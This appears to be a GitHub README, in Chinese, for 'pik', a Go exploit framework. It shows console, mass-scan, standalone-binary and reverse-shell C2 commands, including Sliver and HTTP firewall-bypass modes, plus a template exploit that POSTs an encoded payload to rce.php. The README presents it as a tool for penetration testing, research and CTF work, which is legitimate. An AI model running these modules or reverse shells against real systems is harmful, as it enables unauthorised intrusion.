Chocapikk/pik

GitHub: Chocapikk/pik

基于 Go 的漏洞利用框架与 SDK,支持交互式控制台、独立二进制编译、Docker 实验室环境和多种 C2 后端。

Stars: 0 | Forks: 1

# pik [![CI](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/b3c4da9086191428.svg)](https://github.com/Chocapikk/pik/actions/workflows/ci.yml) [![Coverage](https://img.shields.io/badge/coverage-97.1%25-brightgreen)](https://github.com/Chocapikk/pik/actions/workflows/ci.yml) [![Release](https://img.shields.io/github/v/release/Chocapikk/pik)](https://github.com/Chocapikk/pik/releases/latest) [![License](https://img.shields.io/github/license/Chocapikk/pik)](LICENSE) Go 漏洞利用框架。只需编写一次漏洞利用代码,即可将其作为独立二进制文件运行,或在带有交互式控制台的框架内运行。 ## 安装 ``` go install github.com/Chocapikk/pik/cmd/pik@latest ``` 或更新现有安装: ``` pik update ``` ## 使用 ``` pik # Interactive readline console (default) pik console # Same as above pik tui # TUI dashboard with tabs pik run opendcim_sqli_rce -t target -s LHOST=ip # Run an exploit pik check opendcim_sqli_rce -t target # Check only pik info opendcim_sqli_rce # Module details + dorks pik build opendcim_sqli_rce -o opendcim # Standalone binary pik list # List all modules pik lab run langflow_validate_code_rce # Start lab + exploit (zero config) pik lab status # List running labs ``` ## 控制台 ``` pik > use opendcim_sqli_rce pik opendcim_sqli_rce > show options pik opendcim_sqli_rce > set TARGET http://target pik opendcim_sqli_rce > set LHOST 10.0.0.1 pik opendcim_sqli_rce > check pik opendcim_sqli_rce > exploit >> Session 1 opened (10.0.0.2:49326) www-data@target:~$ ^Z >> Session 1 backgrounded pik opendcim_sqli_rce > sessions pik opendcim_sqli_rce > kill 1 ``` 命令:`use`, `back`, `show options|advanced|payloads|targets|modules`, `set`, `unset`, `target`, `check`, `exploit`, `lab start|stop|status|run`, `sessions`, `kill`, `search`, `info`, `resource`, `list`, `rank`, `clear`, `help`. Ctrl+Z 将会话置于后台。`use ` 通过索引选择模块。`resource exploit.rc` 从文件运行命令。历史记录在会话之间持久保存。 ## TUI 仪表板 ``` pik tui ``` 支持鼠标和键盘的选项卡式仪表板: - **F1 Browse** - 带有搜索栏、可靠性、检查支持、CVE 的模块表 - **F2 Config** - 内联选项编辑,操作按钮(Check, Exploit, Lab),高级开关 - **F3 Sessions** - 带有 Interact/Kill 操作的会话列表 输出视口始终在底部可见。点击可在 TUI 和控制台输入区域之间切换。TUI 和控制台共享相同的业务逻辑 —— 独立二进制文件不会引入 TUI 依赖项。 ## 实验室环境 模块可以声明 Docker 实验室环境。一条命令即可从零开始获取 shell: ``` pik lab run langflow_validate_code_rce # Start lab, wait ready, exploit, shell pik lab start langflow_validate_code_rce # Just start the lab pik lab status # List running labs pik lab stop langflow_validate_code_rce # Tear down ``` `lab run` 流程:拉取镜像,创建容器,等待 TCP,使用 `Check()` 探测直到应用响应,从 Docker 网关自动检测 LHOST,运行漏洞利用,弹出 shell。零配置。 实验室仅绑定到 `127.0.0.1`(绝不暴露给网络)。服务获取用于容器间解析的 DNS 别名、用于启动顺序的健康检查以及重启策略。 在模块中声明实验室: ``` Lab: sdk.Lab{ Services: []sdk.Service{ sdk.NewLabService("db", "mysql:5.7"). WithEnv("MYSQL_ROOT_PASSWORD", sdk.Rand("db_pass")). WithHealthcheck("mysqladmin ping -h localhost"), sdk.NewLabService("web", "wordpress:6.4", "80"). WithEnv("WORDPRESS_DB_HOST", "db"). WithEnv("WORDPRESS_DB_PASSWORD", sdk.Rand("db_pass")), }, }, ``` `sdk.Rand("label")` 在实验室启动时生成一个随机值。跨服务的相同标签解析为相同的值(共享凭据)。主机端口始终由框架随机化以避免冲突。 ## C2 后端 三个内置后端,以及 Sliver 集成: ``` # TCP 反向 shell(默认) pik run opendcim_sqli_rce -t target -s LHOST=ip # TLS 加密 pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=sslshell # HTTP 轮询(防火墙绕过) pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=httpshell -s PAYLOAD=reverse_php_http # Sliver C2 pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=sliver -s C2CONFIG=~/.sliver/configs/operator.cfg ``` ## 扫描 ``` pik check opendcim_sqli_rce -f targets.txt --threads 50 -o vulnerable.txt pik check opendcim_sqli_rce -f targets.txt --threads 50 -o results.json --json ``` 支持带有 `-s PROXIES=socks5://127.0.0.1:1080` 的 HTTP/SOCKS5 代理。 ## 独立二进制文件 任何模块都可以编译成一个独立的二进制文件,内置检查、漏洞利用、扫描器、反向 shell 监听器和可选的实验室支持: ``` pik build opendcim_sqli_rce -o opendcim ./opendcim --help ./opendcim -t target -s LHOST=10.0.0.1 # Exploit ./opendcim -t target --check # Check only ./opendcim -f targets.txt --threads 50 -o vulns.txt --check # Mass scan ``` 所有模块选项均通过 `-s KEY=VALUE` 传递。运行 `--help` 查看可用选项。 ## 编写你自己的漏洞利用 ``` package main import ( "github.com/Chocapikk/pik/sdk" _ "github.com/Chocapikk/pik/pkg/cli" ) type MyExploit struct{ sdk.Pik } func (m *MyExploit) Info() sdk.Info { return sdk.Info{ Description: "My exploit", Authors: sdk.Authors(sdk.NewAuthor("Your Name").WithHandle("handle")), Reliability: sdk.Typical, Targets: []sdk.Target{sdk.TargetLinux("amd64")}, } } func (m *MyExploit) Check(run *sdk.Context) (sdk.CheckResult, error) { resp, err := run.Send(sdk.HTTPRequest{Path: "vulnerable.php"}) if err != nil { return sdk.Unknown(err) } if resp.ContainsAny("marker") { return sdk.Vulnerable("marker found") } return sdk.Safe("not vulnerable") } func (m *MyExploit) Exploit(run *sdk.Context) error { cmd := run.CommentTrail(run.Base64Bash(run.Payload())) _, err := run.Send(sdk.HTTPRequest{ Method: "POST", Path: "rce.php", Form: sdk.Values{"cmd": {cmd}}, }) return err } func main() { sdk.Run(&MyExploit{}) } ``` ``` go build -o myexploit . ./myexploit -t http://target -s LHOST=10.0.0.1 ``` ## 供应链安全 发布二进制文件使用 minisign 签名。`pik update` 在替换自身之前验证签名和校验和。签名公钥嵌入在二进制文件中。 ## 从源代码构建 ``` make build # Dev build make build VERSION=1.0.0 # Versioned build make static # Static binary (CGO_ENABLED=0) make install # Install to $GOPATH/bin make test # Run tests make vet # Lint ``` ## 许可证 AGPL-3.0。可免费用于渗透测试、研究、CTF 和内部安全工作。如果您在 pik 之上构建商业产品或服务,AGPL 要求您开源整个代码库。请联系作者获取商业许可。
标签:CISA项目, CVE 利用, Exploit-Dev, Go 语言, Go语言工具, Kali 工具, Maven, PE 加载器, RCE, SQL 注入, TUI, Web报告查看器, XML 请求, 二进制构建, 交互式控制台, 代码生成, 威胁模拟, 安全 SDK, 安全开发, 底层编程, 攻击模拟, 无服务器架构, 日志审计, 渗透测试工具, 漏洞利用框架, 漏洞验证, 网络安全, 请求拦截, 隐私保护, 驱动签名利用